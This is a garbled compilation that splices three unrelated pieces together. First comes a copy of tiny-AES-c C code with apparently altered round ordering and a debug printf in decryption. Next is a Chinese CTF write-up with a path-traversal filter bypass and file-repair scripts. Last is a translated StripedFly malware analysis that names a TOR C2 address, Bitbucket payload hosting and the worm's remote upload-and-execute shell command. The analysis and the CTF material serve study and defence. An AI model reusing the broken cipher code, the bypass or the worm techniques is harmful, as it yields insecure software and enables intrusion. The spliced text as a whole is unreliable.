static void MixColumns(state_t* state)
{
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i)
{
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
}
}

// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
// The compiler seems to be able to vectorize the operation better this way.
// See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y) \
( ((y & 1) * x) ^ \
((y>>1 & 1) * xtime(x)) ^ \
((y>>2 & 1) * xtime(xtime(x))) ^ \
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \

#endif

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];

(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}

static void InvShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;

// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1; round < 10 ; ++round)
{
SubBytes(state);
MixColumns(state);
ShiftRows(state);
AddRoundKey(round, state, RoundKey);
}
// Add round key to last round
SubBytes(state);
ShiftRows(state);

AddRoundKey(Nr, state, RoundKey);
}

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
InvShiftRows(state);
InvSubBytes(state);

for (round = (Nr - 1);round > 0; --round)
{
printf("%d\n", round);

AddRoundKey(round, state, RoundKey);

InvShiftRows(state);
InvMixColumns(state);
InvSubBytes(state);

}
AddRoundKey(0, state, RoundKey);

}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)


void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher((state_t*)buf, ctx->RoundKey);
}

void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call decrypts the PlainText with the Key using AES algorithm.
InvCipher((state_t*)buf, ctx->RoundKey);
}


#endif // #if defined(ECB) && (ECB == 1)





#if defined(CBC) && (CBC == 1)


static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
uint8_t i;
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}

void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}

void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}

}

#endif // #if defined(CBC) && (CBC == 1)



#if defined(CTR) && (CTR == 1)

/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
uint8_t buffer[AES_BLOCKLEN];

size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
{
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{

memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t*)buffer,ctx->RoundKey);

/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
{
/* inc will overflow */
if (ctx->Iv[bi] == 255)
{
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}

buf[i] = (buf[i] ^ buffer[bi]);
}
}

#endif // #if defined(CTR) && (CTR == 1)

aes.h

#ifndef _AES_H_
#define _AES_H_

#include <stdint.h>
#include <stddef.h>

// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.

// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif

#ifndef ECB
#define ECB 1
#endif

#ifndef CTR
#define CTR 1
#endif


#define AES128 1
//#define AES192 1
//#define AES256 1

#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only

#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif

struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif

#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);

#endif // #if defined(ECB) && (ECB == !)


#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CBC) && (CBC == 1)


#if defined(CTR) && (CTR == 1)

// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CTR) && (CTR == 1)


#endif // _AES_H_

aes.hpp

#ifndef _AES_HPP_
#define _AES_HPP_

#ifndef __cplusplus
#error Do not include the hpp header in a c project!
#endif //__cplusplus

extern "C" {
#include "aes.h"
}

#endif //_AES_HPP_

re02

rust编写,会开启8080端口作为web服务,且只会处理get请求

Image

可以看到../被过滤替换为/

Image

..../..../绕过

Image

三、朱雀组

Misc1

在一间阴暗的地下室里,网络安全专家小张正紧盯着屏幕,刚刚截取到一批黑客通过卫星盗取的数据。数据流中杂乱的信息让他感到困惑,直到他注意到一个异常的加密信号。他开始分析这段信号,经过数小时的解密,终于提取出关键信息:一份重要的文件。他必须迅速采取行动,联系上级并确保这份信息不落入黑客手中。
提交的flag格式:wdflag{xxxxx}

打开文件一堆01,差分曼彻斯特

Image

写个脚本

from libnum import *

# 读取文件内容
with open("data", "r", encoding="utf-8") as f:
all_str = f.read()

# 计算输出字符串
out = []
n = (len(all_str) // 2) - 1

# 使用列表推导式构建输出
for i in range(n):
out.append('0' if all_str[i*2:i*2+2] == all_str[i*2+2:i*2+4] else '1')

# 将列表转换为字符串并转换为十六进制
hex_output = hex(int(''.join(out), 2))[2:]

# 将结果写入文件
with open("tmp.txt", "w") as f:
f.write(hex_output)

Image

去掉头部100000015转zip

Image

发现zip文件中夹杂多余字节,secret.png被分开,间隔为6个字节,估计是多余了6个字节。至于每取出多少字节后去除尾部6个字节,可以爆破。

因为头部504B03041400没有问题,从504B0304到42020015,长度44,可以从12爆破至44。

附上脚本

# 读取 ZIP 文件
with open("2.zip", "rb") as f:
all_b = f.read()

n = len(all_b)

# 遍历不同的分段大小
for j in range(12, 45):
out = bytearray() # 使用 bytearray 来构建输出
for i in range(0, n, j):
out.extend(all_b[i:i + (j - 6)]) # 使用 extend 方法追加数据

# 写入输出文件
with open(f"out_{j}.zip", "wb") as f:
f.write(out)

多次尝试发现每22个字节去除6个多余字节,可以恢复正常文件

Image

解压缩密码:12345678,解压缩得到图片

ImageImage

cHBhYXNzd2Q=

base64解密

Image

得到密码

ppaasswd

Image

wdflag{f3b32f2151a877cad089c25994e5da4a}

Misc2

题目描述
“新盲盒系列发布了,大家一起来抽奖吧!”此刻的你被这样的字样吸引,于是你决定试试!请使用jdk1.8运行本程序。

Image

给了一个jar文件,我们放到IDEA分析一下

Image

告诉我们是AES加密,并且把密钥也给出来了,我们查看一下加密内容

Image

在线解密一下

https://www.toolhelper.cn/SymmetricEncryption/AES

Image

wdflag{499c1ad9-f66f-4fa0-a6ce-b3aa46f8d598}

Misc3

题目描述
MISC03
小李对计算机安全产生了浓厚的兴趣,他学习了一些关于隐藏文件和磁盘加密的方法。他了解到,文件隐藏和加密是保护个人数据的重要手段,因此决定实践自己的新知识。他得到了一个不错加密软件,于是邀请到你,迫不及待地想要一起测试其效果。

提交的flag格式:wdflag{xxxxx}

png图片,先放到Hex分析一下文件数据

Image

看到有其他文件,先分离一下

Image

分离打开发现都是6字节的txt文件,而且解密还要密码,想到CRC32碰撞

Image

Image

选择三段比较合理的字符合并得到

This_WD_010cryptPw

这就是压缩包的密码,解压文件

得到文档,根据文档名很容易就能猜到是verycrypt加密卷

挂载一下密码为

This_WD_010cryptPw

ImageImageImage

Image

得到key文件

Image

Image

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMync9RVIlHuySZqcpNF23ydbg5PgWVcf5Q1oj5ver9CladGc/IvPuZXeQfdG8jcaFudnfV9lT9xL/NRJmOruj80mq3L4gSZnu+bk0EuIfZlDCNJkGyvlzwlDlycHrdAd4CIcaC8NKPxI6nK8Ui/+v6dCbG7x8K1sb79TIgmVLFxAgMBAAECgYAVP707co/2zxrgU9zb3PzcOFnbH0btg/BErplvD2LgrSyN8tca0iw/HR22Uu89uKHWwluqZ7zJeqp6gmZgoq3ajtZf5TB92ncV0Xp/GPs6lRaDkJUInWIPiar23+VQPQ5uxyTnTQOiCGN5R8BZTsCC4zu/UoAuPxDmU9l8WNnGyQJBAPEktbqFyjzxZJC5PmnkiE/gegdz2i7ysN10pDyCgKhV8leS4F9npighluAD1hDiCKYBLw+foK7eB7Mm+RlF62kCQQDZQzyzebZSWmX/OCyrFk5VFfd10/lnsqQXg/RgJg2jh1UbWTiE6GDFa3H+JuYBDG/fcuuxYZ+TCDOxyDZoKHzJAkEAgA7Bnxr7ih+bCywElBFzvg90Xk7MuA/TktclfKjFECAMQStTkfamCzvDNpVy8aZHd3i7eC2KFDL+ncn9kMlLuQJAIkgWuucYmrQC5huSCMjzQT+/FUuGThOFCuTaWZWHj2caSb9xSJ92LZB/oy+2GTJCMMrsX8fcqxGfPo0t8I966QJBALdfMm0BkauVifxpAnSvfGWbuMsOalZ5Un2kjeIcCr9XBA2xQ7/VJnb+E4kHdF+8WBNONHGysrxizw29N39P53Q=
-----END ENCRYPTED PRIVATE KEY-----

RSA加密,想到还有个flag.txt,RSA解密一下

Image

https://tool.lvtao.net/rsa

Image



网鼎杯部分组附件内容:链接: https://pan.baidu.com/s/1cqv39HqfPLSd3ZLqlg1dgA?pwd=f39c 提取码: f39c 




参考原文转载链接地址:

https://mp.weixin.qq.com/s/Icf6QC1eCsz95vFdDpdm7g

https://mp.weixin.qq.com/s/HhL4lqcL_3EeYg1TDeBOKg

https://goodlunatic.github.io/posts/1a285be/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-misc02%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0

https://mp.weixin.qq.com/s/5Xet54leUqVOeMYzTX0ROw

https://mp.weixin.qq.com/s/aUXs3-1-VQc7-ZeR07-Tjg

https://mp.weixin.qq.com/s/u9yA1SUq6lneeCIMStybFg

https://mp.weixin.qq.com/s/4HU-jQIKU-xNdzUIGR0Fmg

引言StripedFly,它是一個加密貨幣挖礦軟件,躲在一個支持Linux和Windows的複雜模塊化框架後面。它配備內置的TOR網絡隧道,用於與指揮(C2)服務器聯繫,還有通過可信賴的服務(如GitLab、GitHub和Bitbucket)進行更新和交付的功能,這一切使用自定義加密歸檔。攻擊者煞費苦心來構建這個框架,披露的真相頗為驚人。

它是如何開始的? 2022年,在Equation惡意軟件中發現的舊代碼的WININIT.EXE進程中遇到了兩個驚人的發現,隨後的分析揭示了可追溯到2017年的早期可疑代碼。在此期間,它成功逃避了分析,之前被誤歸類為加密貨幣挖礦軟件。然而,這不是其主要目標。

我們決定全面分析收集的樣本,只想排除任何不確定因素,這個加密貨幣挖礦軟件是一個極龐大實體的一部分。該惡意軟件使用了定制的EternalBlue SMBv1漏洞來滲入受害者的系統。重要的是,我們的調查剖析了二進制時間戳,表明這個漏洞是在2017年4月之前創建的。值得一提的是,EternalBlue漏洞是Shadow Brokers組織於2017年4月14日公開披露的。

這個特殊蠕蟲與其他使用EternalBlue的惡意軟件的區別在於其獨特的傳播模式。它悄無聲息地傳播,因而避免了大多數安全解決方案的檢測。本文現在簡要概述我們的發現結果。

感染第一個檢測到的shellcode位於WININIT.EXE進程中,該進程能夠從bitbucket[.]org下載二進製文件,並執行PowerShell腳本。最初檢測出來時,感染途徑是未知的;然而,隨著調查逐步深入開展,我們發現了一個與EternalBlue非常相似的SMBv1漏洞。

內核shellcode通過漏洞利用代碼將另外的shellcode注入到用戶空間中,然後部署載荷,其中包括一個具有插件式可擴展功能的框架以及一個超輕量級的TOR網絡客戶軟件。一旦這個過程完成,大門被永久封住,惡意軟件進而禁用了受感染系統上的SMBv1協議。

蠕蟲功能試圖在本地網絡中傳播,不僅僅依賴漏洞,還依賴SSH協議,使用在受害者機器上找到的密鑰。

1.png

圖1. Windows主機上的感染流程

實現持久性為了實現持久性,惡意軟件採用了各種方法。其行為取決於PowerShell解釋器的可用性和授予該進程的特權。該惡意軟件通常在通過漏洞安裝時以管理權限運行,而在通過Cygwin SSH服務器投放時以用戶級權限運行。

如果PowerShell不存在,惡意軟件用MZ-PE加載程序生成一個隱藏文件,其隨機名稱位於%APPDATA%目錄中。該加載程序包括system.img的副本,並隨後在Windows註冊表項Software\Microsoft\Windows\CurrentVersion\Run中以類似GUID的名稱註冊。

如果安裝了PowerShell,其行為將因是否有管理訪問權而異。如果有管理權限,它執行一個PowerShell腳本,該腳本創建兩個具有類似GUID的名稱和不同觸發器的任務調度器項。這些任務的動作由PowerShell加載腳本運行。

如果沒有管理權限,PowerShell腳本加載程序(開頭和末尾被數千個空格包圍)被放置在HKCU\Software\Microsoft\Windows\CurrentVersion\Applets註冊表項中,然後使用以下命令將其註冊到HKCU\Software\Microsoft\Windows\CurrentVersion\Run項中:

2.png

圖2

在PowerShell存在的兩種情況下,惡意軟件歸檔本身的主體存儲在註冊表項Software\Microsoft\Windows\CurrentVersion\Shell中,Base64編碼,由數百個空格包圍,並由上述PowerShell啟動

在Linux主機上,惡意軟件進程隱藏在名稱(sd-pam)下。有眾多方法來實現持久性:可以是系統或用戶systemd服務、自動啟動的.desktop文件,或在合適的/etc/rc*、profile、bashrc或inittab文件中的另一行。惡意軟件可執行文件以隨機名稱放置在/tmp目錄下。

Bitbucket存儲庫為了力求初始漏洞利用工具小巧化,所有可卸載的內容都封裝在加密和壓縮的自定義二進制歸檔中。這個歸檔謹慎地託管在合法網站上,巧妙地偽裝成神秘設備的標記為'm100'的固件二進製文件。

Bitbucket存儲庫於2018年6月21日由Julie Heilman的帳戶創建,它仍然是與該配置文件相關的唯一存儲庫。

3.png

圖3. Bitbucket存儲庫的內容

存儲庫只有一個README.md文件,內含項目名稱。值得注意的是,Downloads文件夾(通常包含編譯後的項目二進製文件)包含五個二進製文件:delta.dat、delta.img、ota.dat、ota.img和system.img。

4.png

圖4. 存儲庫的Downloads文件夾

該文件夾沒有任何版本控制,下載計數器僅反映自上次文件更新以來的下載次數。尤其是,system.img文件充當真實的載荷歸檔,用於初始的Windows系統感染。該文件的下載計數器準確反映了自上次更新以來的新感染數量。在我們分析期間,文件上一次更新是在2022年2月24日,截至2022年6月,初始感染數量為16萬。然而截至2023年9月,這個數字自2023年4月上一次更新以來已降至6萬。

文件ota.img和delta.img用於更新惡意軟件,其中ota.img對應Windows版本,而delta.img對應Linux版本。有意思的是,system.img和ota.img功能上一樣,不過ota.img包含用於完整性驗證的補充元數據,而delta.img充當了通過SSH被Windows版本感染的Linux主機的初始感染載荷。

文件ota.dat和delta.dat以及版本文件都是惡意軟件檢查新更新可用性的工具。然而值得一提的是,ota.img和delta.img的下載計數器並未準確反映當前感染受害者的數量,這是由於惡意軟件主要從其C2服務器獲取更新,僅在C2服務器沒有響應時才從存儲庫下載更新文件。

在我們分析期間,約100萬更新從存儲庫獲得。截止本文撰稿時,Windows系統只有8次更新,Linux系統只有4次更新,這表明了兩種場景:要么活躍感染極少,要么C2服務器保持活躍,並對所有受感染的受害者做出響應。

C2服務器位於TOR網絡中,其.onion地址為gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion:1111。

為了與C2聯繫,惡意軟件採用了自定義的輕量級方法來實現TOR客戶軟件。有趣的是,這種實現似乎並不是基於任何已知的開源TOR實現,顯然缺少許多標準的TOR特性,比如路由、目錄列表、中繼、出口節點模式以及對控制協議的支持。

惡意軟件會定期啟動與C2服務器的TCP連接,發送含有受害者獨特ID的問候信息。然後,它每分鐘發送一個空信標消息。

這項功能表明了攻擊者旨在不惜一切代價隱藏C2服務器,促使攻擊者開發了一個獨特而耗時的項目:創建自己的TOR客戶軟件。這種方法在APT和犯罪軟件開發者當中並不常見,這個醒目的例子強調了這種惡意軟件相比許多其他惡意軟件具有的複雜性。其功能的複雜性和優雅性使我們想起了實現延遲容忍Equation通信網絡及其他庫的優雅代碼,因而它被歸類為高度先進的威脅。

模塊惡意軟件載荷本身的結構是一種單體式二進制可執行代碼,旨在支持可插入模塊,以擴展或更新功能。這種架構方法是APT惡意軟件的標誌,每個模塊負責實現和註冊回調函數,該回調函數在與C2服務器的連接建立或中斷時觸發,或者在從C2服務器接收消息時觸發。這些模塊中的功能分為兩類:服務模塊和擴展功能模塊。

1. 服務模塊配置存儲該模塊通過在Windows版本的HKCU\Software\Classes\TypeLib項中創建一個類似GUID的註冊表項,安全地存儲AES加密的惡意軟件配置。 Linux版本將該信息隱藏在位於用戶主目錄中的隨機隱藏文件夾中。

升級/卸載當與C2服務器的初始連接建立時,服務模塊生成一個8字節的受害者ID,存儲它,然後與所用的system.img文件的散列一起重用它,用於向服務器返回報告。該模塊旨在實現兩個特定的命令:

o服務器發送system.img的新版本,升級過程由生成的腳本或生成的可執行文件來執行。

o執行全面卸載如果C2服務器脫機時間超過20分鐘,並且這種情況持續存在,模塊將嘗試下載ota.dat文件(Linux版本是delta.dat),然後驗證其完整性。如果文件版本發生了變化,模塊通過下載適當的.img文件:面向Windows的ota.img和麵向Linux的delta.img來觸發升級過程。

反向代理該模塊授予訪問受害者網絡的權限,並允許代表受害者執行遠程操作。

2. 功能模塊雜項命令處理程序該模塊包含一系列命令,用於與受害者的文件系統交互、捕獲屏幕截圖、檢索系統版本,並獲得Linux上的活躍X11顯示內容(默認值是Windows上的WinSta0)。它還包含一個能夠執行從C2服務器收到的shellcode的命令。

憑據收集程序該模塊運行一個專用線程,每兩小時定期掃描一次。在掃描過程中,它從所有活躍用戶收集一系列敏感信息,這些信息包括網站登錄用戶名及密碼,以及個人自動填寫數據,比如姓名、地址、電話號碼、公司和職銜。它還獲取已知的Wi-Fi網絡名稱和相關密碼,以及來自流行的軟件客戶軟件(如FileZilla、Cyberduck和WinSCP)的SSH、FTP和WebDav憑據。

值得一提的是,Web瀏覽器對憑據收集的支持不僅限於Chrome、Firefox和Internet Explorer等知名瀏覽器,還包括一些不太知名的瀏覽器,比如Nichrome、Xpom、RockMelt、Vivaldi、SaMonkey、Epic Privacy和Brave。

在Linux版本中,它還收集存儲在$HOME/.ssh中的OpenSSH密鑰,將來自$HOME /.ssh/known_hosts的主機整理成表,並包括從Libsecret保管庫檢索秘密信息的功能。然而,這項特殊的功能目前有缺陷,因為鏈接的musl libc庫中沒有dlopen API實現。

可重複的任務該模塊擁有幾個內置的功能任務,這些任務可以執行一次,也可以在可重複的調度基礎上執行,條件是特定窗口必須可見,這些任務才會繼續處理。

下面簡要描述任務:

马云惹不起马云獲取屏幕截圖,列出那一刻可見的所有窗口。

马云惹不起马云使用某個命令行執行進程,重定向輸出,並使用正則表達式加以過濾。

马云惹不起马云記錄麥克風輸入。

马云惹不起马云該任務收集具有特定擴展名的文件列表,比如與圖像、文檔、聲音、視頻、歸檔、數據庫、證書、源代碼文件相關的文件及其他關鍵的用戶數據文件。該進程掃描所有本地驅動器和網絡共享區,系統文件夾除外。這是在惡意軟件的Linux版本中運行的唯一任務。

偵察模塊該模塊匯集大量的系統信息,並在連接時將其傳輸到C2服務器。收集的數據包含眾多詳細信息,包括操作系統版本、計算機名稱、硬件MAC地址列表、Windows系統的當前用戶名、Linux系統的/etc/passwd文件、機器的IP地址、當前連接的TOR網絡出口節點的IP地址、系統啟動時間、惡意軟件正常運行時間、時間及時區,總內存/可用內存量、用戶管理權限以及特定的Windows相關信息,比如UI語言和鍵盤佈局、存在的防病毒軟件、NetBIOS名稱、DNS域、機主的Windows許可證詳細信息以及存在的PowerShell命令解釋器。

SMBv1和SSH感染程序有兩個模塊專門負責惡意軟件的滲透能力,它們構成了核心的蠕蟲功能。

一旦憑據收集模塊完成任務,SSH感染程序就開始發威,它過濾結果尋找SSH密鑰和憑據,如果找到,就激活專用線程。該線程的隨機超時中斷時間從10分鐘到2小時不等,啟動滲透進程。

首先,它從緩存或直接從bitbucket[.]org檢索delta.dat和delta.img。然後,它進而驗證這些文件的完整性,從delta.img動態加載libay庫、zlib庫和libssh2庫。下一步是嘗試連接到遠程SSH服務器。如果連接成功,它調用並解析/bin/sh -c ' uname -nmo '命令的輸出;如果遠程系統受支持,惡意軟件將其二進製文件以隨機名稱上傳到遠程的/tmp文件夾,並以命令/bin/sh -c 'cat %s; chmod +x %s; nohup sh -c '%s; rm %s' /dev/null'執行該文件。這個方法確保了與x86、amd64、arm和aarch64 Linux CPU等架構兼容,並使用生成的MZ-PE加載程序與Cygwin x86和amd64遠程主機兼容。

SMBv1感染模塊使用自定義的EternalBlue漏洞利用代碼,充當Windows受害者的主要滲透工具。初始執行後,它通過修改受害者係統上的HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters註冊表項,立即禁用SMBv1協議。然後,它啟動兩個專用線程來執行定期的蠕蟲活動。

第一個線程負責檢查網絡適配器的IP地址和子網掩碼,然後試圖在整個局域網子網內引起感染。相比之下,第二個線程定期嘗試選擇一個隨機的互聯網IP地址,以下地址排除在外:

obogon網絡,比如0.0.0.0/8、10.0.0.0/8、100.64.0.0/10、 127.0.0.0/8、172.16.0.0/12、192.168.0.0/16、198.18.0.0/15、224.0.0.0/4和240.0.0.0/4。

o169.255.0.0/16--主要指南非。這可能是一個bug,開發者可能意指169.254.0.0/16--bogon網絡列表中缺失的部分。

o3.0.0.0/8、15.0.0.0/8、16.0.0.0/8、56.0.0.0/8--亞馬遜、惠普和美國郵政部等。

o6.0.0.0/8和55.0.0.0/8--美國陸軍信息系統司令部。

o7.0.0.0/8、11.0.0.0/8、21.0.0.0/8、22.0.0.0/8、26.0.0.0/8、 28.0.0.0/8、29.0.0.0/8、30.0.0.0/8、33.0.0.0/8、214.0.0.0/8和215.0.0.0/8--美國國防部網絡信息中心。

受支持的Windows版本包括Windows Vista、Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012和Windows 10(直至build 14392)。

門羅加密貨幣挖礦模塊Monero挖礦模塊如虎添翼。它在一個單獨的進程中運行,巧妙地偽裝成位於Google\Chrome\Application\Services目錄中的chrome.exe進程,這可以在公共或本地AppData目錄中找到。這種欺騙性手段甚至包括對偽裝的可執行文件的版本信息和進程圖標進行更改。主模塊中的惡意軟件功能定期監視木偶挖掘進程,必要時重新啟動它,它還向C2服務器如實報告哈希率、工作時間、發現的錯誤和錯誤統計信息。

池服務器的DNS解析被巧妙地隱藏在針對Cloudflare DoH(DNS over HTTPS)服務的DNS over HTTPS請求的後面,為其活動增添了隱蔽性。

我們強烈懷疑這個模塊是惡意軟件能夠長時間逃避檢測的主要原因,它的存在主要是出於巧妙偽裝的需要。值得一提的是,該模塊挖掘的門羅幣在2017年徘徊在10美元左右後於2018年1月9日達到了542.33美元的高位。截至2023年,成交價約150美元。雖然這個模塊肯定有利可圖,但它不一定是這種惡意軟件最賺錢的用途。比如說,尋找未加密的二進制錢包或錢包憑據可能牟取更高的利潤。

此外,惡意軟件代碼中存在與挖礦相關的未加密字符串,這從側面證明了其潛在的輔助用途。

ThunderCrypt我們偶然發現了該惡意軟件的早期版本,這促使我們發現了一個相關的勒索軟件變體:ThunderCrypt。事實證明,這兩種惡意軟件有著同樣的底層代碼庫,更重要的是,它們與位於ghtyqipha6mcwxiz[.]onion:1111的同一台C2服務器進行聯繫。

與StripedFly相比,ThunderCrypt勒索軟件展現了驚人相似的功能和模塊,這包括TOR客戶軟件、配置存儲、升級/卸載和偵察模塊,值得注意的一處例外是沒有SMBv1感染模塊。有意思的是,該勒索軟件使用可重複任務模塊的文件列表組件作為其勒索加密進程的必要部分。

